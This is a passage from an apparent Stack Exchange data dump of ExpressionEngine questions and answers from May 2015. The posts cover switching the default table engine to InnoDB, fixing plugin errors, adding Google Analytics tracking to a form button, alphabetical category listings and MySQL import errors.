&lt;code&gt;sddefault.jpg&lt;/code&gt; with &lt;code&gt;hqdefault.jpg&lt;/code&gt; resulting in the two merging together to become &lt;code&gt;sdhqdefault.jpg&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6347" LastActivityDate="2015-05-27T21:31:58.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31664" PostTypeId="1" AcceptedAnswerId="31668" CreationDate="2015-05-27T22:30:24.763" Score="0" ViewCount="605" Body="&lt;p&gt;We recently altered our EE tables to use InnoDB as the database engine instead of MyISAM.  All is good.  INNODB is also set as the default engine in MySQL's preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just noticed that when Expression Engine is creating new tables (such as when we just installed CE Image) they are still being created as MyISAM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This appears to be set in the following CI file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/system/codeigniter/system/database/drivers/mysql_forge.php&lt;/code&gt; where I find this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * The default engine to use when creating new tables.&#xA; */&#xA;const ENGINE_DEFAULT = 'MyISAM';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd prefer not to hack the codeigniter core files.  Is there a way I can override this value in EE's config file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently on 2.8.1 and getting ready to update to 2.10.1&lt;/p&gt;&#xA;" OwnerUserId="210" LastEditorUserId="210" LastEditDate="2015-05-27T22:43:34.230" LastActivityDate="2015-05-28T09:35:59.513" Title="Switching default database engine to InnoDB" Tags="|database|config|codeigniter|configuration-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31665" PostTypeId="2" ParentId="26315" CreationDate="2015-05-28T04:59:05.177" Score="0" Body="&lt;p&gt;Update your php file system &quot;system/core/Common.php&quot; in mac mini(OS X Yosemite) like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bellow code in &quot;Common.php&quot; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      return $_config[0] =&amp;amp; $config;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace by bellow code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   $_config[0] =&amp;amp; $config;&#xA;   return $_config[0];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6349" LastActivityDate="2015-05-28T04:59:05.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31666" PostTypeId="2" ParentId="31660" CreationDate="2015-05-28T08:31:25.670" Score="0" Body="&lt;p&gt;I worked this out by doing this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if files}{my_snippet}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then in my snippet&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{files}&#xA;&amp;lt;a href=&quot;{files:file}&quot;&amp;gt;{files:file_name}&amp;lt;/a&amp;gt;&#xA;{/files}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2794" LastActivityDate="2015-05-28T08:31:25.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31667" PostTypeId="1" CreationDate="2015-05-28T08:34:24.480" Score="1" ViewCount="61" Body="&lt;p&gt;I'm trying to install Freeform and after install I click Freeform from the modules list and I get the error below...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Class 'Freeform_mcp' not found in /var/www/vhosts/site.com/httpdocs/sysadmin/expressionengine/controllers/cp/addons_modules.php on line 344&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm using Expression Engine Version v2.8.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've uninstalled and tried again but I get the same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3387" LastEditorUserId="55" LastEditDate="2015-05-28T12:47:58.623" LastActivityDate="2015-05-28T12:47:58.623" Title="Freeform Install Error" Tags="|solspace-freeform|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31668" PostTypeId="2" ParentId="31664" CreationDate="2015-05-28T09:24:59.647" Score="1" Body="&lt;p&gt;Short version, No you can't alter this setting via a config file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long version, you see in your snippet in the OP it is defined as a &lt;code&gt;const&lt;/code&gt; &lt;em&gt;constant&lt;/em&gt; on the Class, conversly the items you change via the config files are &lt;em&gt;variables&lt;/em&gt;. You can't change or redefine contastants with code as by their nature they are fixed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now it is possible (if you look to the &lt;code&gt;_create_table&lt;/code&gt; function in this file) that the CI DB Forge object could pass a different engine (note the 6th parameter &lt;code&gt;, $engine=self::ENGINE_DEFAULT&lt;/code&gt;) however if we look at &lt;code&gt;/system/codeigniter/system/database/DB_forge.php&lt;/code&gt; (the parent class on which the driver specific classes inherit), line 193 (EE 2.10.0) we see the only call to &lt;code&gt;_create_table&lt;/code&gt; : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sql = $this-&amp;gt;_create_table($this-&amp;gt;db-&amp;gt;dbprefix.$table, $this-&amp;gt;fields, $this-&amp;gt;primary_keys, $this-&amp;gt;keys, $if_not_exists);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that there is no 6th paramter, ergo the base CI database system is not and can not accept a configuration value, even if we could add such a value in we couldn't pass it to the relivent function without altering the core files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in this case I'm afraid the only solution is to alter the &lt;code&gt;const&lt;/code&gt; on file as you say, and carefully monitor your core upgrade to ensure they don't change this file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a little bonus I've looked through the update files up to 2.10.0 and I don't see any changes at this level. I dob note however that the EE_Schema does define the engine as MyISAM however I beleive this is only relivent to a fresh installation. Therefor I'd say change your value, perform your upgrade and check that no tables have been created as MyISAM and that your changed const remains in the file...&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-05-28T09:35:59.513" LastActivityDate="2015-05-28T09:35:59.513" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31669" PostTypeId="2" ParentId="25603" CreationDate="2015-05-28T09:43:59.357" Score="1" Body="&lt;p&gt;You'll find this issue with a number of tags and modules, you can use a module like : &lt;a href=&quot;https://devot-ee.com/add-ons/https-support&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/https-support&lt;/a&gt; to alter the base &lt;code&gt;site_index&lt;/code&gt; variable globally according to the protocol being used. No need to alter 3rd party code...&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-05-28T09:43:59.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31671" PostTypeId="1" CreationDate="2015-05-28T12:21:15.233" Score="0" ViewCount="58" Body="&lt;p&gt;Good afternoon,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering whether anyone might know how to change the submit input button code using the Composer Template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I have been asked to change this code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; onClick=”ga(‘send’, ‘event’, ‘Contact Form’, ‘Form Submit’);&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to allow my client to track the Submit button through Google Analytics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I presume it's something that needs adding in the code below? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance for shedding any light on this issue!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{composer:page}&#xA;    {composer:rows}&#xA;            &amp;lt;div class=&quot;line&quot;&amp;gt;&#xA;        {composer:columns}&#xA;                &amp;lt;div class=&quot;unit size1of{composer:column_total}&quot;&amp;gt;&#xA;                {if composer:field_total == 0}&#xA;                     &#xA;                {/if}&#xA;            {composer:fields}&#xA;                {if composer:field_label}&#xA;                    {if composer:field_type == 'nonfield_captcha'}&#xA;                        {if freeform:captcha}&#xA;                        &amp;lt;p&amp;gt;&#xA;                            &amp;lt;strong&amp;gt;{composer:field_label}&amp;lt;/strong&amp;gt;&#xA;                        &amp;lt;/p&amp;gt;&#xA;                        {/if}&#xA;                    {if:else}&#xA;                        &amp;lt;label class=&quot;field_label&quot; {if composer:field_name != ''}for=&quot;freeform_{composer:field_name}&quot;{/if}&amp;gt;&#xA;                            {composer:field_label}{if composer:field_required}&amp;lt;span class=&quot;required_item&quot;&amp;gt;*&amp;lt;/span&amp;gt;{/if}&#xA;                        &amp;lt;/label&amp;gt;&#xA;                    {/if}&#xA;                {/if}&#xA;                {if composer:field_output}&#xA;                    {if composer:field_type == 'nonfield_title'}&#xA;                        &amp;lt;h2&amp;gt;{composer:field_output}&amp;lt;/h2&amp;gt;&#xA;                    {if:elseif composer:field_type == 'nonfield_captcha'}&#xA;                        {if freeform:captcha}&#xA;                                {freeform:captcha}&amp;lt;br /&amp;gt;&#xA;                                &amp;lt;input type=&quot;text&quot; name=&quot;captcha&quot; value=&quot;&quot;&#xA;                                       size=&quot;20&quot;   maxlength=&quot;20&quot; style=&quot;width:140px;&quot; /&amp;gt;&#xA;                        {/if}&#xA;                    {if:else}&#xA;                        &amp;lt;p&amp;gt;{composer:field_output}&amp;lt;/p&amp;gt;&#xA;                    {/if}&#xA;                {/if}&#xA;            {/composer:fields}&#xA;                &amp;lt;/div&amp;gt;&#xA;        {/composer:columns}&#xA;            &amp;lt;/div&amp;gt;&#xA;    {/composer:rows}&#xA;{/composer:page}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6350" LastEditorUserId="55" LastEditDate="2015-05-28T12:47:31.737" LastActivityDate="2015-05-28T14:24:56.110" Title="Freeform Pro Composer - adding Google conversion code to submit" Tags="|solspace-freeform|composer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31672" PostTypeId="5" CreationDate="2015-05-28T12:45:33.180" Score="0" Body="&lt;p&gt;The process of configuring ExpressionEngine and/or third-party add-ons via the &lt;strong&gt;config.php&lt;/strong&gt; file - or another configuration solution such as Focus Lab's &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow&quot;&gt;EE Master Config&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-05-28T12:45:33.180" LastActivityDate="2015-05-28T12:45:33.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31673" PostTypeId="4" CreationDate="2015-05-28T12:45:33.180" Score="0" Body="The process of configuring ExpressionEngine and/or third-party add-ons via the config.php file - or another configuration solution such as Focus Lab's EE Master Config." OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-05-28T12:45:33.180" LastActivityDate="2015-05-28T12:45:33.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31675" PostTypeId="1" AcceptedAnswerId="31676" CreationDate="2015-05-28T13:11:00.070" Score="4" ViewCount="699" Body="&lt;p&gt;I'm currently running ExpressionEngine v2.10.1. Two plugins currently throw the same error. Seems like something has been depreciated / is broken. The two plugins are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Campaigner 4.5.0&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Charge 1.9.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Call to undefined method EE_Javascript::generate_json() in /system/expressionengine/third_party/campaigner/ext.campaigner.php on line 706&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any suggestions would be welcome.&lt;/p&gt;&#xA;" OwnerUserId="1736" LastActivityDate="2015-05-28T13:27:21.080" Title="Call to undefined method EE_Javascript::generate_json()" Tags="|javascript|bug|charge|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31676" PostTypeId="2" ParentId="31675" CreationDate="2015-05-28T13:27:21.080" Score="7" Body="&lt;p&gt;Go to line 706 in &lt;code&gt;/system/expressionengine/third_party/campaigner/ext.campaigner.php&lt;/code&gt; and change it from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;javascript-&amp;gt;generate_json($js_member_fields));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;json_encode($js_member_fields));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And yes, this line needs double parentheses at the end, since it's a continuation of line 705.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2015-05-28T13:27:21.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31677" PostTypeId="2" ParentId="31671" CreationDate="2015-05-28T14:24:56.110" Score="1" Body="&lt;p&gt;An alternative, as I'm not too familiar with composer and I don't know where the composer tags put the submit button out with, and as the composer/multipage mode could put out multiple 'submit' buttons...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use this below Jquery snippet to add what you want to all the submit buttons of the form in question. You don't include the outer freeform tag pair so for this example I'm going to assume you've used the &lt;a href=&quot;https://www.solspace.com/docs/freeform/form/#form_id&quot; rel=&quot;nofollow&quot;&gt;form_id&lt;/a&gt; parameter. For this example lets say the form has the id of &lt;code&gt;my_freeform_form&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pop this underneth your freeform tags (I also assume you have jQuery available)...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;  $('form#my_freeform_form input[type=submit]').click(function(e){&#xA;    if ( ga ) { //saftey, is ga existing?&#xA;      ga(‘send’, ‘event’, ‘Contact Form’, ‘Form Submit’);&#xA;    }&#xA;    //important, return true to allow the 'normal' &#xA;    //form submit through after we're done&#xA;    return true; &#xA;  });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-05-28T14:24:56.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31679" PostTypeId="1" CreationDate="2015-05-28T14:44:24.293" Score="1" ViewCount="208" Body="&lt;p&gt;Need to pull member information and custom fields from an external SQL (not mySQL) database into EE. The database is too big to export to csv (9gb) and import using Datagrab/Importer. Would JSON be option here as it will be a lot smaller size? So create a page on their server that is in the correct JSON format and then import the feed using Datagrab/Importer? &lt;/p&gt;&#xA;" OwnerUserId="433" LastActivityDate="2015-05-28T19:01:36.700" Title="Pulling data from external database" Tags="|solspace|database|datagrab|solspace-importer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31680" PostTypeId="1" CreationDate="2015-05-28T15:02:19.807" Score="0" ViewCount="24" Body="&lt;p&gt;How can I add more than one entry to this. How do I add for more numerical ids?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if:elseif entry_id == 216}&lt;/p&gt;&#xA;" OwnerUserId="6351" LastActivityDate="2015-05-28T15:16:07.167" Title="Adding more than one entry_id" Tags="|entryid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31681" PostTypeId="2" ParentId="31680" CreationDate="2015-05-28T15:16:07.167" Score="1" Body="&lt;p&gt;You can use two pipes as an OR operator in EE conditionals:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if:elseif entry_id == 216 || entry_id == 217 || entry_id == 218}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also use a plugin such as Switchee (&lt;a href=&quot;https://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/switchee&lt;/a&gt;) if you have a large amount of conditionals.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-05-28T15:16:07.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31682" PostTypeId="1" CreationDate="2015-05-28T15:21:05.447" Score="0" ViewCount="214" Body="&lt;p&gt;I have a client who wants to create an alphabetical listing of his categories, broken out by letter.  The only way I can think to do this is by restricting each list by the first letter of the category name, but I'm not sure how to accomplish that with expression engine parameters. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I am trying to use, and it is not giving me any entries, even though I have entries whose category name starts with that letter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h4 class=&quot;panel-title&quot;&amp;gt;A&amp;lt;/h4&amp;gt;&#xA;    {exp:channel:categories channel=&quot;products&quot; style=&quot;linear&quot; category_group=&quot;not 4&quot;}&#xA;            {if category_name ^= 'a'}&#xA;            &amp;lt;ul&amp;gt;&#xA;                            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path=visas}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;            {/if}   &#xA;    {/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can someone tell me what I'm doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="2307" LastActivityDate="2016-05-21T10:00:15.437" Title="Alphabetical Category Listing" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31684" PostTypeId="1" AcceptedAnswerId="31815" CreationDate="2015-05-28T18:45:04.603" Score="0" ViewCount="484" Body="&lt;p&gt;I'm having an issue with Charge (v. 1.9.2) running on EE (v. 2.10.1). Whenever I try to process a test payment, I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to undefined method InvalidArgumentException::getJsonBody() in /system/expressionengine/third_party/charge/models/charge_stripe_model.php on line 894&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1736" LastActivityDate="2015-06-05T12:16:37.437" Title="Call to undefined method InvalidArgumentException::getJsonBody()" Tags="|stripe|charge|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31685" PostTypeId="2" ParentId="31679" CreationDate="2015-05-28T19:01:36.700" Score="1" Body="&lt;p&gt;For an operation of this size, you should be using an enterprise solution, not a web application. You should be exporting the data from the other SQL database in chunks so you can move it gently. What is the other SQL format? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Directly moving the data files would be better than running a 9gb over-the-web import (too many chances for data to get wrecked, lose track of where you're at, etc..). I would recommend physically moving the data as a whole to the EE installation server, and then using a tool like MySQL Workbench or SequelPro, run your imports one table at a time. Then if you run into a failure during the process, you don't have to start over.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.sequelpro.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.sequelpro.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mysql.com/products/workbench/&quot; rel=&quot;nofollow&quot;&gt;http://www.mysql.com/products/workbench/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-05-28T19:01:36.700" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31686" PostTypeId="2" ParentId="31682" CreationDate="2015-05-28T20:07:44.323" Score="0" Body="&lt;p&gt;There isn't something built in to EE, but as usual, there is a plugin to the rescue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/gwcode-categories&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/gwcode-categories&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories/documentation&quot; rel=&quot;nofollow&quot;&gt;http://gwcode.com/add-ons/gwcode-categories/documentation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's basically a beefed up version of the {exp:channel:categories} tag. To get a result closer to what you want, you probably need to turn PHP on output and do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $alpha_array = array (); ?&amp;gt;&#xA;&#xA;&amp;lt;ul class=&quot;category_list&quot;&amp;gt;    &#xA;{exp:gwcode_categories orderby=&quot;cat_name&quot;}&#xA;&#xA;    &amp;lt;?php&#xA;        $cat = &quot;{cat_name}&quot;;&#xA;        $starts_with = strtoupper($cat[0]);&#xA;        if (!in_array($starts_with, $alpha_array))&#xA;        {&#xA;            // if we haven't hit this letter yet, add it to our &#xA;            // alpha array, and then output that letters header&#xA;            $alpha_array[] = $starts_with;&#xA;            ?&amp;gt;&#xA;            &amp;lt;li class=&quot;letter_header&quot;&amp;gt;&#xA;                &amp;lt;?=$starts_with?&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&#xA;                {cat_name}&#xA;            &amp;lt;/li&amp;gt;&#xA;            &amp;lt;?php&#xA;        }&#xA;        else&#xA;        {&#xA;            ?&amp;gt;&#xA;            &amp;lt;li&amp;gt;&#xA;                {cat_name}&#xA;            &amp;lt;/li&amp;gt;&#xA;            &amp;lt;?php&#xA;        }&#xA;        ?&amp;gt;&#xA;    ?&amp;gt;&#xA;&#xA;{/exp:gwcode_categories}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will output your categories, and then you can style the li tags with the letter_header class to look like h4 tags if you want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ps&lt;/strong&gt; do you have categories that start with a lowercase &quot;a&quot;...? I'd bet not.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-06-11T13:34:28.627" LastActivityDate="2015-06-11T13:34:28.627" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31687" PostTypeId="1" CreationDate="2015-05-28T22:44:41.327" Score="0" ViewCount="53" Body="&lt;p&gt;This is a first for me... I'm importing into an database with no tables from a working backup.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error&#xA;SQL query:&#xA;&#xA;&#xA;--&#xA;-- Dumping data for table `exp_accessories`&#xA;--&#xA;&#xA;INSERT INTO `exp_accessories` (`accessory_id`, `class`, `member_groups`, `controllers`, `accessory_version`) VALUES&#xA;(1, 'Expressionengine_info_acc', '1|5', 'addons|addons_accessories|addons_extensions|addons_fieldtypes|addons_modules|addons_plugins|admin_content|admin_system|content|content_edit|content_files|content_files_modal|content_publish|design|homepage|members|myaccount|tools|tools_communicate|tools_data|tools_logs|tools_utilities', '1.0'),&#xA;(2, 'Developer_acc', '1|5', 'addons|addons_accessories|addons_extensions|addons_fieldtypes|addons_modules|addons_plugins|admin_content|admin_system|content|content_edit|content_files|content_files_modal|content_publish|design|homepage|members|myaccount|tools|tools_communicate|tools_data|tools_logs|tools_utilities', '1.7.1'),&#xA;(3, 'Devotee_acc', '1|5', 'addons|addons_accessories|addons_extensions|addons_fieldtypes|addons_modules|addons_plugins|admin_content|admin_system|content|content_edit|co[...]&#xA;MySQL said: Documentation&#xA;&#xA;#1062 - Duplicate entry '1' for key 'PRIMARY' &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="273" LastActivityDate="2015-05-28T23:24:47.473" Title="MYSQL Error Importing Database" Tags="|mysql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31688" PostTypeId="2" ParentId="31687" CreationDate="2015-05-28T23:24:47.473" Score="1" Body="&lt;p&gt;what does your create table code look like?&#xA;this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DROP TABLE IF EXISTS `exp_accessories`;    &#xA;CREATE TABLE `exp_accessories` (&#xA;      `accessory_id` int(10) unsigned NOT NULL AUTO_INCREMENT,&#xA;      `class` varchar(75) NOT NULL DEFAULT '',&#xA;      `member_groups` varchar(50) NOT NULL DEFAULT 'all',&#xA;      `controllers` text,&#xA;      `accessory_version` varchar(12) NOT NULL,&#xA;      PRIMARY KEY (`accessory_id`)&#xA;    ) ENGINE=MyISAM DEFAULT CHARSET=utf8;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;does it include an auto increment value?&#xA;run a query on the table and see if anything is in there?&#xA;also try &lt;code&gt;DESCRIBE exp_accessories&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you restarted the import at any time, the inserts may have already ran.&#xA;see if your dump file also includes the &lt;code&gt;DROP TABLE&lt;/code&gt; call.&#xA;What DB admin tool are you using to run the import?&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-05-28T23:24:47.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31689" PostTypeId="1" CreationDate="2015-05-29T04:33:54.613" Score="0" ViewCount="44" Body="&lt;p&gt;I have products on my site and the client would like to order them, hence why I am using low reorder. On the main page all the different products need to be displayed, each product is in a different channel and low-reorder does this fine. However for the products individual pages I'd like to use the same order but only display the one channel. Is there a way to do this?&lt;/p&gt;&#xA;" OwnerUserId="6354" LastActivityDate="2015-05-29T05:12:54.557" Title="Is there a way to display just 1 low-reorder channel from a order set that has multiple channels?" Tags="|low-reorder|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31690" PostTypeId="2" ParentId="31689" CreationDate="2015-05-29T05:12:54.557" Score="3" Body="&lt;p&gt;Low Reorder extends the native channel entries tag so you should just be able to use the channel parameter. I tried the following and can confirm it works.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_reorder:entries set=&quot;1&quot; channel=&quot;channel_short_name&quot;}&#xA;    {title}&amp;lt;br /&amp;gt;&#xA;{/exp:low_reorder:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="975" LastActivityDate="2015-05-29T05:12:54.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31692" PostTypeId="1" CreationDate="2015-05-26T19:47:31.417" Score="3" ViewCount="65" Body="&lt;p&gt;I have a post/posts template wrapped inside a template called blog-posts.html . I would like to have the post/posts template display a different grid column class than how it is displayed when it is wrapped in another template. I think I need to write a conditional. Do I write the conditional in the posts/posts template or blog-posts.html.  Below is the code from blog-posts.html:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;post&quot; dynamic=&quot;no&quot; status=&quot;{permissions}&quot; category=&quot;13&quot; parse=&quot;inward&quot;}&#xA;    {embed=&quot;post/posts&quot; entry_id=&quot;{entry_id}&quot;}&#xA;  {if results_none}&#xA;    {embed=&quot;main/results_none&quot;}&#xA;  {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="Pumzi_Code" LastActivityDate="2016-05-05T01:10:27.543" Title="Expression Engine: Change the style of a template wrapped in another template" Tags="|php|html|css|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31693" PostTypeId="2" ParentId="31692" CreationDate="2015-05-27T11:52:24.273" Score="0" Body="&lt;p&gt;First i think your question is better posted on the expressionengine.stackexchange.com site. &#xA;Generally what you are doing is not the best way to achieve this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe something like this would be better, because you are not embedding an embed for every result in the channel entries loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;post&quot; dynamic=&quot;no&quot; status=&quot;{permissions}&quot; category=&quot;13&quot; parse=&quot;inward&quot;}&#xA;   {if count == &quot;1&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;your_grid_class&quot;&amp;gt;&#xA;   {/if}   &#xA;   &amp;lt;article&amp;gt;   &#xA;      &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;      &amp;lt;p&amp;gt;{body}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/article&amp;gt;&#xA;      {if no_results}&#xA;        &amp;lt;div class=&quot;your_other_grid_class&quot;&amp;gt;&#xA;        {embed=&quot;main/results_none&quot;}&#xA;      {/if}&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;" OwnerUserId="215" OwnerDisplayName="Jelle Dijkstra" LastActivityDate="2015-05-27T11:52:24.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
